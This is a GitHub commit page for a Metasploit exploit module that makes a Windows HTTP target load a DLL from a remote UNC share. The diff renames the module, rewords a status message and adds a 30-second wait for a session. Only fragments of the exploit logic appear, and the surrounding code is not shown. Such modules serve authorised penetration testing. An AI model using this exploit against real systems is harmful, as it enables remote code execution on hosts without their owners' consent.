Skip to content

Commit 710e0e5

Browse files
author
Matthew Hall
committed
Add timeout to connection handler
1 parent 03649a7 commit 710e0e5

File tree

1 file changed

+8
-2
lines changed

1 file changed

+8
-2
lines changed

modules/exploits/windows/http/generic_http_dllinject.rb renamed to modules/exploits/windows/http/generic_http_dll_server.rb

Lines changed: 8 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -79,7 +79,7 @@ def exploit
7979
else
8080
share = "#{@unc}"
8181
end
82-
print_status("Injecting DLL to #{datastore['RHOST']}:#{datastore['RPORT']} - #{share}")
82+
print_status("Requesting DLL load to #{datastore['RHOST']}:#{datastore['RPORT']} from #{share}")
8383

8484
sploit = datastore['URI']
8585
sploit << share
@@ -89,6 +89,12 @@ def exploit
8989
'uri' => sploit
9090
}, 5)
9191

92-
handler
92+
# Wait 30 seconds for session to be created
93+
1.upto(30) do
94+
break if session_created?
95+
select(nil, nil, nil, 1)
96+
handler
97+
end
98+
disconnect
9399
end
94100
end

0 commit comments

Comments
 (0)